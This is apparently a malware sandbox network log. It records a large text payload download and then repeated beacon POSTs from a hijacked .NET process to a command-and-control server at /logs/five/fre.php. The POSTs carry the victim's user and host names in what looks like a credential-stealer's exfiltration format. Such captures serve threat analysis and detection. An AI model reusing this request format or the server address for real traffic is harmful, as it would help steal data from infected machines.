Oct 24, 2024 08:46:18.328573942 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:46:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 24 Oct 2024 00:22:01 GMT ETag: "22aac-6252dfdc859ae" Accept-Ranges: bytes Content-Length: 141996 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328592062 CEST	224	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328632116 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328672886 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328727961 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328746080 CEST	636	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328779936 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328794956 CEST	212	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328811884 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.328831911 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:18.334239006 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49188	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:18.370204926 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:18.375545979 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:19.333694935 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49189	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:19.642819881 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:19.648513079 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:20.604633093 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49190	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:20.756772995 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:20.762213945 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:21.709981918 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49191	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:21.844139099 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:21.849543095 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:22.808839083 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49192	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:23.272967100 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:23.281188965 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:24.246784925 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49193	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:24.385406017 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:24.390799999 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:25.331404924 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49194	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:25.477813959 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:25.483247042 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:26.551178932 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49195	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:26.720284939 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:26.725660086 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:28.251620054 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Oct 24, 2024 08:46:28.253204107 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49196	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:28.393672943 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:28.399060965 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:29.337935925 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49197	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:29.677758932 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:29.683232069 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:30.655868053 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49198	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:30.892649889 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:30.898099899 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:31.856784105 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49199	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:32.189398050 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
